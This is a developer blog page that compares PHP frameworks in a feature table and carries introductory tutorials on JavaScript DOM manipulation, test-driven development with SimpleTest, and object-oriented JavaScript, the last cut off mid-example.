PHP Development - linux admin - YII - ZEND - codeignitor

PHP frameworks comparison

2015-12-01T13:19:00.000-08:00

PHP frameworks comparison

Comparison chart of the stable versions of best PHP frameworks in order to help you to choose the PHP framework adapted to your specific needs: Agile Toolkit vs Banshee vs CakePHP vs CakePHP2 vs CodeIgniter vs Fat-Free vs FuelPHP vs Jelix vs Kohana vs Laravel vs Lithium vs Mako vs MkFramework vs PPI Framework vs Solar vs Symfony vs Symfony2 vs Yii vs Zend Framework vs Zend Framework 2 vs Zikula.

Features

This part in the comparison table try to summarize the important features of the main PHP frameworks.
Object-relational mapping (ORM) are components that helps you to transform your databases access in a more friendly object oriented manner. Instead of manipulating records, you manipulate objects and could most of the time forget about all the SQL queries that goes behind the scene.
Code generation make developers life easier by creating files and default content automatically so you don't have to.
Edge Side Includes (ESI) allows, with a compliant gateway cache, to cache a page fully and to update only parts of the page that have changed.

Resources

This section is an important part, it helps you to directly go to the section essential when using a new framework: the tutorials and documentation. Have a look at the tutorial and documentation to get a quick view at the code verbosity, and the documentation quality.
Do not hesitate to add comparison criteria, other PHP Framework or simply leave a comment or rate the framework you know...

Features
	Agile Toolkit	Banshee	CakePHP2	ClanCatsFramework	CodeIgniter	CodeIgniter	Fat-Free (F3)	FuelPHP	Jelix	Kohana	Laravel	Laravel	Mako	MkFramework	Mouf	Openbiz Cubi	phalcon	PHPixie	PPI Framework	Silex framework	Slim framework	Solar	Symfony2	Yii	Zend Framework 2	Zikula

Website	agiletoolkit.org	banshee-php.org	cakephp.org	clancats.io	codeigniter.com	codeigniter.com	fatfreeframework.com/...	fuelphp.com	jelix.org	kohanaframework.org	laravel.com	laravel.com	makoframework.com	mkdevs.com	mouf-php.com	openbiz.me	phalconphp.com	phpixie.com	www.ppi.io	sensiolabs.org	slimframework.com	solarphp.com	symfony.com	yiiframework.com	zend.com	zikula.org
Latest version	4.3	4.2	2.6.2	2.0.6	2.2.1	2.2.1	3.4.0	1.7.2	1.5.5	3.3.1	4.2	4.2	4.4.5	v4.98.4	2.0	3.0.9	1.3.3	2.*@dev	1.0	1.2.3	2.6.0	1.1.2	2.6.4	2.0.3	2.2.0	1.3.9
Release date	2015 Jan 17	2014 Aug 14	2015 Feb 19	2014 Sep 16	2015 Jan 15	2015 Jan 15	2015 Jan 1	2014 Jul 13	2015 Feb 24	2013 Sep 4	2014 Mar 17	2014 Mar 17	2015 Mar 6	2014 Jul 16	2015 Jan 7	2013 Mar 6	2014 Sep 24	2014 Mar 18	2012 Jan 1	2015 Jan 20	2015 Mar 1	2010 Nov 9	2015 Feb 3	2015 Mar 1	2013 May 15	2014 Aug 22
License	AGPL, Proprietary	OpenSource (custom)	MIT	MIT	BSD-style	BSD-style	GPL3	MIT	LGPL	BSD	MIT	MIT	BSD	LGPLV3	MIT	BSD	New BSD License	BSD	MIT	MIT		BSD	MIT	BSD	BSD	GPL
Requirements	>=PHP5.3		>= PHP 5.2.8	>= PHP 5.3	>= PHP 5.1.6	>= PHP 5.1.6	>=PHP 5.3	>= PHP 5.3	>= PHP 5.2	>= PHP 5	>= 5.3.7 with mcrypt extension	>= 5.3.7 with mcrypt extension	>= PHP 5.3.1	PHP >= 5.2	>= PHP 5.3.2	>=PHP5		>=PHP 5.3.0	>= 5.3.0	>=PHP 5.3.0	>=PHP 5.3.0	>= PHP 5.2	>= PHP 5.3.2	>= PHP 5.4	>= PHP 5.3	>= PHP 5.3
Backward compatibility														Toute la branche 4.* , depuis 2009
Internationalization I18N / L10n	callback gettext array		gettext, PHP array	PHP array	language class	language class	ICU/intl	PHP array	XML File, PHP Array		PHP array	PHP array	language class	plugin_i18n	FINE	Zend I18N has UI interface			gettext, PHP array			language class	XML (XLIFF) CSV PHP	gettext database PHP array		gettext
Code generation	Discouraged		CLI	CLI				CLI	CLI		CLI	CLI		Mkbuilder: générateur Web	Discouraged, use advanced configuration via dependency injection instead	has built in Openbiz Appbuilder							CLI	Yii CLI, Gii (Web based)		Module Studio
ORM	Custom (Support for Joins, Expressions, Actions, Conditions, Subselects, PDO-based)		Custom	CCF ORM - DB\Model	ActiveRecord	ActiveRecord	Axon (SQL), M2 (MongoDB), and Jig (flat files)	Custom	Data Access Object (DAO)	Custom	ELOQUENT ORM	ELOQUENT ORM	Third party. Doctrine, Propel ...	Custom possibilité facilement d'utiliser un autre (doctrine par exemple)	TDBM or Doctrine	Supported Metadata Level ORM		PHPixie ORM	Doctrine Propel2				Doctrine 2, Propel	Database Access Objects (DAO), Active Record (AR)		Doctrine
Cache storage	Extensible (Provided Session, Arrays)		Memcache, APC File, APC, Memcache, Redis		File, apc, memcached, xcache	File, apc, memcached, xcache	APC, xCache, WinCache, Memcache, Filesystem, Shared memory	File, Redis, Memcache, APC	File, APC, Memcache, Redis	APC, File, Memcached, Memcached-tags, SQLite, Wincache	File System, Database, Memcached, APC, Redis, Xcache, WinCache, Memory (Arrays)	File System, Database, Memcached, APC, Redis, Xcache, WinCache, Memory (Arrays)	APC, File, Memcache / Memcached, Memory, Redis, SQLite, XCache, ZendDisk, ZendMemory, WinCache	cache html de page complète et/ou de "zones"/"modules" du site	APC, File, Memcache, Memory, or any Doctrine Cache implementation	Based on Zend_Cache			APC Redis File Memcached XCache			APC, Memcache, XCache	APC, eAccelerator, XCache	APC, Database, eAccelerator, File, Memcache, WinCache, XCache, ZendPlatform
Dependency injection container											Yes With autowiring	Yes With autowiring			Yes With graphical interface, compatible with ContainerInterop								Yes		Yes
Services	Integrated with packagist.org		Third party		XML-RPC	XML-RPC	OpenID, Twitter, Google, Yahoo, Akismet, XML-RPC, SOAP, Pingback		XML-RPC and many others provided on booster.jelix.org							WebServices			All ZF components					SOAP / WebServices
Template System	Fast, simple built-in passive template engine	XSLT	Custom but Smarty/Twig can be used	PHP, CCTemplates	PHP, Simple template parser "{var_name}"	PHP, Simple template parser "{var_name}"	PHP, custom plugin, Twig, Haanga, Smarty, etc.	PHP, Dwoo, HAML, JADE, Markdown, Mustache, Smarty, Twig	jTpl		Blade, PHP, Custom	Blade, PHP, Custom	PHP		Built-in Twig support	Smarty and PHP		PHP	PHP Twig Smarty PHPTal			PHP	PHP, Twig	PHP and Prado's - Several others using Extensions (Razor, Smarty, Twig, etc)		Smarty
Web2.0	Full jQuery, jQuery UI, Grid System, Native AJAX, Popovers, Custom JS widgets		Full jQuery, jQuery UI, Grid System, Native AJAX,RestFul		jQuery HTML5boilerplate	jQuery HTML5boilerplate	JS-library agnostic	JS-library agnostic	jQuery				JS-library agnostic			built-in jQuery and Prototype			jQuery Html5bolierplate Twitter Bootstrap Modernizr					built-in jQuery, extendable to any javascript framework
Testing library	Custom, "Tester" class or PHPUnit		PHPUnit	PHPUnit	PHPUnit (In development)	PHPUnit (In development)	Built-in	PHPUnit	PHPUnit		PHPUnit	PHPUnit				PHPUnit			PHPUnit				PHPUnit	PHPUnit, Selenium	PHPUnit
Edge Side Includes																							Yes include tag only
Code generation	Discouraged		CLI	CLI				CLI	CLI		CLI	CLI		Mkbuilder: générateur Web	Discouraged, use advanced configuration via dependency injection instead	has built in Openbiz Appbuilder							CLI	Yii CLI, Gii (Web based)		Module Studio
Layer generator														Yes									Yes DoctrineBundle, PropelBundle
Menu generator														Yes	Yes
CRUD generation				Yes										Yes	Yes Evolugrid and BCE								Yes SensioGeneratorBundle
Logging management				Yes			Yes				Yes	Yes		Yes	Yes PSR-3 compliant								Yes PSR-3 compliant
User interface															Yes Extensible
Multiple databases			Yes		Yes	Yes					Yes	Yes											Yes	Yes
Security
Xss	No		Yes	Yes	Yes Built-in	Yes Built-in	Yes Built-in				Yes	Yes		Yes	Yes Via Twig								Yes
Xsrf			Yes	Yes	Yes Built-in	Yes Built-in	Yes Built-in				Yes	Yes		Yes									Yes
Sql injection			Yes	Yes	Yes Built-in	Yes Built-in	Yes Built-in				Yes	Yes		Yes	Yes Via TDBM or Doctrine
Auth module			Yes								Yes	Yes											Yes
Resources
Website	agiletoolkit.org	banshee-php.org	cakephp.org	clancats.io	codeigniter.com	codeigniter.com	fatfreeframework.com/...	fuelphp.com	jelix.org	kohanaframework.org	laravel.com	laravel.com	makoframework.com	mkdevs.com	mouf-php.com	openbiz.me	phalconphp.com	phpixie.com	www.ppi.io	sensiolabs.org	slimframework.com	solarphp.com	symfony.com	yiiframework.com	zend.com	zikula.org
Tutorial			cakephp.org/...	clancats.io/...	codeigniter.com/...	codeigniter.com/...	fatfreeframework.com/...		jelix.org/...	kohanaframework.org/...	laravel.com/...	laravel.com/...		developpez.com/...	mouf-php.com/...	google.com/...		phpixie.com/...	www.ppi.io/...			solarphp.com/...	symfony.com/...	yiiframework.com/...	zend.com/...
Github / Bitbucket / Sourceforge	github.com/...		github.com/...	github.com/...	github.com/...	github.com/...	github.com/...	github.com/...			github.com/...	github.com/...		developpez.com/...	github.com/...	google.com/...	github.com/...	github.com/...					github.com/...	github.com/...		github.com/...
Commercial Support	Yes http://agiletech.ie/		Yes http://cakedc.com		Yes www.expressionengine.com	Yes www.expressionengine.com	No		No							Yes http://www.openbiz.me							Yes http://symfony.com/services/support	Yes http://www.clevertech.biz/blog/yii/	Yes http://www.zend.com/en/support-center/support/
Notable projects using it			Hot Scripts, Affilorama...	golfimport.ch clancats.com	http://expressionengine.com http://skyclerk.com/	http://expressionengine.com http://skyclerk.com/	http://fatfree.sf.net		HaveFnuBB forum project : http://www.havefnubb.org					http://dupot.org http://supercapote.com	http://packanalyst.com/ http://www.pathefilms.com/ http://www.wabel.com/ http://www.webikeo.com/ and many more!				http://www.bestbuys.com, http://www.joined.com, many many more				Dailymotion: http://symfony.com/blog/dailymotion-powered-by-symfony Drupal 8 eZ Publish 5	http://www.stay.com http://www.fictioncity.net
Twitter	@atk4		@cakephp	@CCF_IO	@CodeIgniter	@CodeIgniter	@phpfatfree	@fuelphp	@jelixfmk				@makoframework	@mkframework	@mouf_php								@symfony	@yiiframework
Your reviews
Simplicity	4.7 3 ratings	0 no rating	4.5 2 ratings	5.0 1 rating	4.6 8 ratings	4.6 8 ratings	4.8 4 ratings	5.0 1 rating	5.0 1 rating	5.0 1 rating	5.0 4 ratings	5.0 4 ratings	0 no rating	5.0 3 ratings	5.0 1 rating	0 no rating	0 no rating	0 no rating	0 no rating	0 no rating	0 no rating	0 no rating	3.0 2 ratings	4.0 1 rating	3.5 4 ratings	0 no rating

JavaScript HTML DOM Elements (Nodes)

2013-02-08T22:41:00.002-08:00

Creating New HTML Elements

To add a new element to the HTML DOM, you must create the element (element node) first, and then append it to an existing element.

Example

This is a paragraph.

This is another paragraph.

Try it yourself »

Example Explained

This code creates a new element:

var para=document.createElement("p");

To add text to the element, you must create a text node first. This code creates a text node:

var node=document.createTextNode("This is a new paragraph.");

Then you must append the text node to the element:

para.appendChild(node);

Finally you must append the new element to an existing element.
This code finds an existing element:

var element=document.getElementById("div1");

This code appends the new element to the existing element:

element.appendChild(para);

Removing Existing HTML Elements

To remove an HTML element, you must know the parent of the element:

Example

This is a paragraph.

This is another paragraph.

Try it yourself »

Example Explained

This HTML document contains a

element with two child nodes (two elements):

This is a paragraph.

This is another paragraph.

Find the element with id="div1":

var parent=document.getElementById("div1");

Find the element with id="p1":

var child=document.getElementById("p1");

Remove the child from the parent:

parent.removeChild(child);

	It would be nice to be able to remove an element without referring to the parent. But sorry. The DOM needs to know both the element you want to remove, and its parent.

Here is a common workaround: Find the child you want to remove, and use its parentNode property to find the parent:

var child=document.getElementById("p1");
child.parentNode.removeChild(child);

HTML DOM Tutorial

In the HTML DOM section of this JavaScript tutorial you have learned:

How to change the content (innerHTML) of HTML elements
How to change the style (CSS) of HTML elements
How to react to HTML DOM events
How to add or delete HTML elements

If you want to learn more about using JavaScript to access the HTML DOM, please go to our
Full HTML DOM Tutorial.

The Newbie’s Guide to Test-Driven Development

2013-02-03T13:25:00.001-08:00

Since the dawn of the computer era, programmers and bugs have battled for supremacy. It’s an inevitable occurrence. Even the greatest programmers fall prey to these anomalies. No code is safe. That’s why we do testing. Programmers, at least sane ones, test their code by running it on development machines to make sure it does what it’s supposed to.

Sane programmer who tests his programs.
Image courtesy of http://www.youthedesigner.com

Insane programmer who doesn’t test his programs.
Image courtesy of http://www.internetannoyanceday.com

Test-driven development is a programming technique that requires you to write actual code and automated test code simultaneously. This ensures that you test your code—and enables you to retest your code quickly and easily, since it’s automated.

How does it work?

Test-driven development, or TDD as we’ll call it from now on, revolves around a short iterative development cycle that goes something like this:

Before writing any code, you must first write an automated test for your code. While writing the automated tests, you must take into account all possible inputs, errors, and outputs. This way, your mind is not clouded by any code that’s already been written.
The first time you run your automated test, the test should fail—indicating that the code is not yet ready.
Afterward, you can begin programming. Since there’s already an automated test, as long as the code fails it, it means that it’s still not ready. The code can be fixed until it passes all assertions.
Once the code passes the test, you can then begin cleaning it up, via refactoring. As long as the code still passes the test, it means that it still works. You no longer have to worry about changes that introduce new bugs.
Start the whole thing over again with some other method or program.

The test-driven development cycle
Image courtesy of http://en.wikipedia.org/wiki/Test-driven_development

Great, but how is this better than regular testing?

Have you ever purposefully skipped testing a program because:

You felt it was a waste of time to test, since it was only a slight code change?
You felt lazy testing everything again?
You didn’t have enough time to test because the project manager wanted it moved up to production ASAP?
You told yourself you’d do it “tomorrow”?
You had to choose between manual testing, or watching the latest episode of your favorite TV show (Big Bang Theory)?

Most of the time, nothing happens, and you successfully move your code to production without any problems. But sometimes, after you’ve moved to production, everything goes wrong. You’re stuck fixing a hundred holes in a sinking ship, with more appearing every minute. You do not want to find yourself in this situation.

Screw it, just move it to production!
Image courtesy of http://phenomenaonbreak.wordpress.com

TDD was meant to eliminate our excuses. When a program has been developed using TDD, it allows us to make changes and test quickly and efficiently. All we need to do is run the automated tests, and voila! If it passes all automated tests, then we’re good to go—if not, then it just means we broke something with the changes. By knowing which exact parts of the test failed, it also allows us to easily pinpoint at which part of the changes it broke, so it makes fixing the bugs easier.

I’m Sold. How Do We Do This?

There’s a multitude of PHP automated testing frameworks out there we can use. One of the most widely-used testing frameworks is PHPUnit.

PHPUnit is a great testing framework, which can easily be integrated into your own projects, or other projects built on top of popular PHP frameworks.

For our purposes though, we won’t need the multitude of functions that PHPUnit offers. Instead, we’ll opt to create our tests using a much easier testing framework, called SimpleTest.
In the next steps, let’s assume that we’re developing a guestbook application where any user can add and view guestbook entries. Let’s assume that the markup has been completed, and that we’re simply making a class which contains the application logic of the guestbook, which is where the application inserts and reads to the database. The reading portion of this class is what we’re going to develop and test.

Step 1. Set up SimpleTest

This is arguably the easiest step of all. Even this guy could do it:

I can do this…I can use, my, um…brain!
Image courtesy of http://longstreet.typepad.com/

Download SimpleTest here, and extract to a folder of your choice — preferably the folder where you’re going to develop your code, or your PHP include_path for easy access.
For this tutorial, I’ve set up the folder like so:

Index.php will run guestbook.php, and invoke the view method and display the entries. Inside the classes folder is where we’ll put the guestbook.php class, and the test folder is where we place the simpletest library.

Step 2. Plan Your Attack

Image courtesy of http://connections.smsd.org/veterans

The second step, which is actually the most important one, is to start creating your tests. For this, you really need to plan and think about what your function will do, what possible inputs it will get, and the corresponding outputs it will send. This step resembles playing a game of chess—you need to know everything about your opponent (the program), including all his weaknesses (possible errors) and strengths (what happens if it successfully runs).
So for our guestbook application, let’s lay down the schematics:

View

This function will not have any inputs since it will just retrieve all of the entries from the database and send back the data to be printed out.
It will return an array of guestbook records, stating the name of the poster and his message. If there are no records, then it should still return an empty array.
If there are records, the array will have 1 or more values in it.
At the same time, the array will have a specific structure, something like:

view plain copy to clipboard print ?

Array (
[0] => Array (
['name'] = "Bob"
['message'] = "Hi, I'm Bob."
)
[1] => Array (
['name'] = "Tom"
['message'] = "Hi, I'm Tom."
)
)

Array (
    [0] => Array (
        ['name'] = "Bob"
        ['message'] = "Hi, I'm Bob."
    )
    [1] => Array (
        ['name'] = "Tom"
        ['message'] = "Hi, I'm Tom."
    )
)

Step 3. Write a Test!

Image courtesy of http://cflhomeless.wordpress.com

Now, we can write our first test. Let’s start by creating a file called guestbook_test.php inside the test folder.

view plain copy to clipboard print ?

<?php
require_once(dirname(__FILE__) . '/simpletest/autorun.php');
require_once('../classes/guestbook.php');
class TestGuestbook extends UnitTestCase {
}

<?php
require_once(dirname(__FILE__) . '/simpletest/autorun.php');
require_once('../classes/guestbook.php');
class TestGuestbook extends UnitTestCase {
}

Then, let’s convert what we’ve determined from step two,.

view plain copy to clipboard print ?

<?php
require_once(dirname(__FILE__) . '/simpletest/autorun.php');
require_once('../classes/guestbook.php');
class TestGuestbook extends UnitTestCase {
function testViewGuestbookWithEntries()
{
$guestbook = new Guestbook();
// Add new records first
$guestbook->add("Bob", "Hi, I'm Bob.");
$guestbook->add("Tom", "Hi, I'm Tom.");
$entries = $guestbook->viewAll();
$count_is_greater_than_zero = (count($entries) > 0);
$this->assertTrue($count_is_greater_than_zero);
$this->assertIsA($entries, 'array');
foreach($entries as $entry) {
$this->assertIsA($entry, 'array');
$this->assertTrue(isset($entry['name']));
$this->assertTrue(isset($entry['message']));
}
}
function testViewGuestbookWithNoEntries()
{
$guestbook = new Guestbook();
$guestbook->deleteAll(); // Delete all the entries first so we know it's an empty table
$entries = $guestbook->viewAll();
$this->assertEqual($entries, array());
}
}

<?php
require_once(dirname(__FILE__) . '/simpletest/autorun.php');
require_once('../classes/guestbook.php');
class TestGuestbook extends UnitTestCase {
    function testViewGuestbookWithEntries()
 {
  $guestbook = new Guestbook();
  // Add new records first
  $guestbook->add("Bob", "Hi, I'm Bob.");
  $guestbook->add("Tom", "Hi, I'm Tom.");
  $entries = $guestbook->viewAll();
  $count_is_greater_than_zero = (count($entries) > 0);
  $this->assertTrue($count_is_greater_than_zero);
  $this->assertIsA($entries, 'array');
  foreach($entries as $entry) {
   $this->assertIsA($entry, 'array');
   $this->assertTrue(isset($entry['name']));
   $this->assertTrue(isset($entry['message']));
  }
 }
 function testViewGuestbookWithNoEntries()
 {
  $guestbook = new Guestbook();
  $guestbook->deleteAll(); // Delete all the entries first so we know it's an empty table
  $entries = $guestbook->viewAll();
  $this->assertEqual($entries, array());
 }
}

Assertions make sure that a certain thing is what it’s supposed to be—basically, it ensures that what’s returned is what you’re expecting it to return. For example, if a function is supposed to return true if it’s successful, then in our test, we should assert that the return value is equal to true.

As you can see here, we test the viewing of the guestbook with entries and without. We check if these two scenarios pass our criteria from step two. You probably also noticed that each of our test functions start with the word ‘test.’ We did this because, when SimpleTest runs this class, it will look for all the functions that start with the word ‘test’ and run it.
In our test class, we’ve also used some assertion methods, such as assertTrue, assertIsA, and assertEquals. The assertTrue function checks whether or not a value is true. AssertIsA checks if a variable is of a certain type or class. And lastly, assertEquals checks if a variable is totally equal to a certain value.
There are other assertion methods provided by SimpleTest, which are:

`assertTrue($x)`	Fail if $x is false
`assertFalse($x)`	Fail if $x is true
`assertNull($x)`	Fail if $x is set
`assertNotNull($x)`	Fail if $x not set
`assertIsA($x, $t)`	Fail if $x is not the class or type $t
`assertNotA($x, $t)`	Fail if $x is of the class or type $t
`assertEqual($x, $y)`	Fail if $x == $y is false
`assertNotEqual($x, $y)`	Fail if $x == $y is true
`assertWithinMargin($x, $y, $m)`	Fail if abs($x – $y) < $m is false
`assertOutsideMargin($x, $y, $m)`	Fail if abs($x – $y) < $m is true
`assertIdentical($x, $y)`	Fail if $x == $y is false or a type mismatch
`assertNotIdentical($x, $y)`	Fail if $x == $y is true and types match
`assertReference($x, $y)`	Fail unless $x and $y are the same variable
`assertClone($x, $y)`	Fail unless $x and $y are identical copies
`assertPattern($p, $x)`	Fail unless the regex $p matches $x
`assertNoPattern($p, $x)`	Fail if the regex $p matches $x
`expectError($x)`	Swallows any upcoming matching error
`assert($e)`	Fail on failed expectation object $e

Assertion method list courtesy of http://www.simpletest.org/en/unit_test_documentation.html

Step 4. Fail to Win

Image courtesy of http://verydemotivational.com

Once you’re finished writing the code, you should run the test. The first time you run the test, it SHOULD FAIL. If it doesn’t, then it means that your test doesn’t really test anything.
To run your test, simply run guestbook_test.php in your browser. You should see this first:

This happened because we haven’t created our guestbook class yet. To do so, create guestbook.php inside your classes folder. The class should contain the methods we’re planning to use, but shouldn’t contain anything yet at first. Remember, we’re writing the tests first before writing any code.

view plain copy to clipboard print ?

<?php
class Guestbook
{
public function viewAll() {
}
public function add( $name, $message ) {
}
public function deleteAll() {
}
}

<?php
class Guestbook
{
 public function viewAll() {
 }
 public function add( $name, $message ) {
 }
 public function deleteAll() {
 }
}

When you run the test again, it should look something like this:

As we can see here, our test is now winning by failing. This means that our test is now ready to get “answered.”

Image courtesy of http://www.gamercastnetwork.com/forums

Step 5. Answer Your Test by Writing Code

At some point, we’ve all felt like this when we’re programming.
Image courtesy of http://fermentation.typepad.com/fermentation

Now that we have a working automated test, we can start writing code. Open up your guestbook.php class and start creating the answer to your test.

view plain copy to clipboard print ?

<?php
class Guestbook
{
// To save time, instead of creating and connecting to a database, we're going to
// simulate a "database" by creating a static entries array here.
// It will be like we have two entries in the table.
private static $_entries = array(
array (
'name' => 'Kirk',
'message' => 'Hi, I\'m Kirk.'
),
array (
'name' => 'Ted',
'message' => 'Hi, I\'m Ted.'
)
);
public function viewAll() {
// Here, we should retrieve all the records from the database.
// This is simulated by returning the $_entries array
return self::$_entries;
}
public function add( $name, $message ) {
// Here, we simulate insertion into the database by adding a new record into the $_entries array
// This is the correct way to do it: self::$_entries[] = array('name' => $name, 'message' => $message );
self::$_entries[] = array('notname' => $name, 'notmessage' => $message ); //oops, there's a bug here somewhere
return true;
}
public function deleteAll() {
// We just set the $_entries array to simulate
self::$_entries = array();
return true;
}
}

<?php
class Guestbook
{
 // To save time, instead of creating and connecting to a database, we're going to
 // simulate a "database" by creating a static entries array here.
 // It will be like we have two entries in the table.
 private static $_entries = array(
  array (
   'name' => 'Kirk',
   'message' => 'Hi, I\'m Kirk.'
  ),
  array (
   'name' => 'Ted',
   'message' => 'Hi, I\'m Ted.'
  )
 );
 public function viewAll() {
  // Here, we should retrieve all the records from the database.
  // This is simulated by returning the $_entries array
  return self::$_entries;
 }
 public function add( $name, $message ) {
  // Here, we simulate insertion into the database by adding a new record into the $_entries array
  // This is the correct way to do it: self::$_entries[] = array('name' => $name, 'message' => $message );
  self::$_entries[] = array('notname' => $name, 'notmessage' => $message ); //oops, there's a bug here somewhere
  return true;
 }
 public function deleteAll() {
  // We just set the $_entries array to simulate
  self::$_entries = array();
  return true;
 }
}

This guestbook.php class has some bugs in it on purpose, so we can see what it looks like if our test fails.
Once we run our test, we should see something like this:

The test output shows us in which test and in which assertion our code failed. From this, we can easily pinpoint that line 16 and 17 was the assertion that threw the error.

view plain copy to clipboard print ?

<?php
require_once(dirname(__FILE__) . '/simpletest/autorun.php');
require_once('../classes/guestbook.php');
class TestGuestbook extends UnitTestCase {
...
...
...
$this->assertTrue(isset($entry['name']));
$this->assertTrue(isset($entry['message']));
...
...
...
}

<?php
require_once(dirname(__FILE__) . '/simpletest/autorun.php');
require_once('../classes/guestbook.php');
class TestGuestbook extends UnitTestCase {
...
...
...
 $this->assertTrue(isset($entry['name']));
 $this->assertTrue(isset($entry['message']));
...
...
...
}

This clearly tells us that the returned entry array did not have the correct array key. Based on this, we’ll easily know which part of our code went wrong.

view plain copy to clipboard print ?

<?php
class Guestbook
{
...
...
...
public function add( $name, $message ) {
// Here, we simulate insertion into the database by adding a new record into the $_entries array
self::$_entries[] = array('name' => $name, 'message' => $message ); //fixed!
return true;
}
...
...
...
}

<?php
class Guestbook
{
...
...
...
 public function add( $name, $message ) {
  // Here, we simulate insertion into the database by adding a new record into the $_entries array
  self::$_entries[] = array('name' => $name, 'message' => $message ); //fixed!
  return true;
 }
...
...
...
}

Now, when we run our test again, it should show us:

Step 6. Refactor and Refine Your Code

Images courtesy of http://www.osborneink.com and http://phuketnews.phuketindex.com

Since the code we’re testing here is pretty simple, our testing and bug fixing didn’t last very long. But if this was a more complex application, you’d have to make multiple changes to your code, make it cleaner so it’s easier to maintain, and a lot of other things. The problem with this, though, is that change usually introduces additional bugs. This is where our automated test comes in—once we make changes, we can simply run the test again. If it still passes, then it means we didn’t break anything. If it fails, we know that we made a mistake. It also informs us where the problem is, and, hopefully, how we’ll be able to fix it.

Step 7. Rinse and Repeat

Image courtesy of http://www.philstockworld.com

Eventually, when your program requires new functionality, you’ll need to write new tests. That’s easy! Rinse and repeat the procedures from step two (since your SimpleTest files should already be set up), and start the cycle all over again.

Conclusion

There are a lot more in-depth test-driven development articles out there, and even more functionality to SimpleTest than what was displayed in this article—things like mock objects, stubs, which make it easier to create tests. If you’d like to read more, Wikipedia’s test-driven development page should set you on the right path. If you’re keen on using SimpleTest as your testing framework, browse the online documentation and be sure to review its other features.
Testing is an integral part of the development cycle, however, it’s too often the first thing to be cut when deadlines are imminent. Hopefully, after reading this article, you’ll appreciate how helpful it is to invest in test-driven development.
What are your thoughts on Test-Driven Development? Is it something you’re interested in implementing, or do you think it’s a waste of time? Let me know in the comments!

The Basics of Object-Oriented JavaScript

2013-02-03T10:37:00.002-08:00

Over recent years, JavaScript has increasingly gained popularity, partly due to libraries that are developed to make JavaScript apps/effects easier to create for those who may not have fully grasped the core language yet.
While in the past it was a common argument that JavaScript was a basic language and was very ‘slap dash’ with no real foundation; this is no longer the case, especially with the introduction of high scale web applications and ‘adaptations’ such as JSON (JavaScript Object Notation).

JavaScript can have all that an Object-Orientated language has to offer, albeit with some extra effort outside of the scope of this article.

Let’s Create an Object

view plain copy to clipboard print ?

function myObject(){
};

    function myObject(){
    };

Congratulations, you just created an object. There are two ways to
create a JavaScript object: they are ‘Constructor functions’ and
‘Literal notation’. The one above is a Constructor function,
I’ll explain what the difference is shortly, but before I do, here
is what an Object definition looks like using literal notation.

view plain copy to clipboard print ?

var myObject = {
};

    var myObject = {
    };

Literal is a preferred option for name spacing so that your JavaScript
code doesn’t interfere (or vice versa) with other scripts running on the
page and also if you are using this object as a single object and not requiring
more than one instance of the object, whereas Constructor function type
notation is preferred if you need to do some initial work before the object
is created or require multiple instances of the object where each instance
can be changed during the lifetime of the script. Let’s continue to build
on both our objects simultaneously so we can observe what the differences are.

Defining Methods and Properties

Constructor version:

view plain copy to clipboard print ?

function myObject(){
this.iAm = 'an object';
this.whatAmI = function(){
alert('I am ' + this.iAm);
};
};

    function myObject(){
        this.iAm = 'an object';
        this.whatAmI = function(){
            alert('I am ' + this.iAm);
        };
    };

Literal version:

view plain copy to clipboard print ?

var myObject = {
iAm : 'an object',
whatAmI : function(){
alert('I am ' + this.iAm);
}
}

    var myObject = {
        iAm : 'an object',
        whatAmI : function(){
            alert('I am ' + this.iAm);
        }
    }

For each of the objects we have created a property ‘iAm’ which contains a
string value that is used in our objects method ‘whatAmI’ which alerts a message.

Properties are variables created inside an object and methods are functions created inside an object.

Now is probably as good a time as any to explain how to use properties and
methods (although you would already have done so if you are familiar with a library).
To use a property first you type what object it belongs to – so in this case it’s myObject –
and then to reference its internal properties, you put a full stop and then the name of the
property so it will eventually look like myObject.iAm (this will return ‘an object’).
For methods, it is the same except to execute the method, as with any function, you must
put parenthesis after it; otherwise you will just be returning a reference to the function
and not what the function actually returns. So it will look like myObject.whatAmI()
(this will alert ‘I am an object’).

Now for the differences:

The constructor object has its properties and methods defined with the
keyword ‘this’ in front of it, whereas the literal version does not.
In the constructor object the properties/methods have their ‘values’
defined after an equal sign ‘=’ whereas in the literal version, they are
defined after a colon ‘:’.
The constructor function can have (optional) semi-colons ‘;’ at the
end of each property/method declaration whereas in the literal version
if you have more than one property or method, they MUST be separated with
a comma ‘,’, and they CANNOT have semi-colons after them, otherwise JavaScript will return an error.

There is also a difference between the way these two types of object declarations are used.
To use a literally notated object, you simply use it by referencing its variable name,
so wherever it is required you call it by typing;

myObject.whatAmI();

    myObject.whatAmI();

With constructor functions you need to instantiate (create a new instance of)
the object first; you do this by typing;

view plain copy to clipboard print ?

var myNewObject = new myObject();
myNewObject.whatAmI();

    var myNewObject = new myObject();
    myNewObject.whatAmI();

Using a Constructor Function.

Let’s use our previous constructor function and build upon it so it performs some basic
(but dynamic) operations when we instantiate it.

view plain copy to clipboard print ?

function myObject(){
this.iAm = 'an object';
this.whatAmI = function(){
alert('I am ' + this.iAm);
};
};

    function myObject(){
        this.iAm = 'an object';
        this.whatAmI = function(){
            alert('I am ' + this.iAm);
        };
    };

Just like any JavaScript function, we can use arguments with our constructor function;

view plain copy to clipboard print ?

function myObject(what){
this.iAm = what;
this.whatAmI = function(language){
alert('I am ' + this.iAm + ' of the ' + language + ' language');
};
};

function myObject(what){
 this.iAm = what;
 this.whatAmI = function(language){
  alert('I am ' + this.iAm + ' of the ' + language + ' language');
 };
};

Now let’s instantiate our object and call its whatAmI method, filling in the required
fields as we do so.

view plain copy to clipboard print ?

var myNewObject = new myObject('an object');
myNewObject.whatAmI('JavaScript');

    var myNewObject = new myObject('an object');
    myNewObject.whatAmI('JavaScript');

This will alert ‘I am an object of the JavaScript language.’

To Instantiate or not to Instantiate

I mentioned earlier about the differences between Object Constructors and Object Literals and that
when a change is made to an Object Literal it affects that object across the entire script, whereas when
a Constructor function is instantiated and then a change is made to that instance, it won’t affect any
other instances of that object. Let’s try an example;
First we will create an Object literal;

view plain copy to clipboard print ?

var myObjectLiteral = {
myProperty : 'this is a property'
}
//alert current myProperty
alert(myObjectLiteral.myProperty); //this will alert 'this is a property'
//change myProperty
myObjectLiteral.myProperty = 'this is a new property';
//alert current myProperty
alert(myObjectLiteral.myProperty); //this will alert 'this is a new property', as expected

 var myObjectLiteral = {
     myProperty : 'this is a property'
    }
    //alert current myProperty
    alert(myObjectLiteral.myProperty); //this will alert 'this is a property'
    //change myProperty
    myObjectLiteral.myProperty = 'this is a new property';
    //alert current myProperty
    alert(myObjectLiteral.myProperty); //this will alert 'this is a new property', as expected

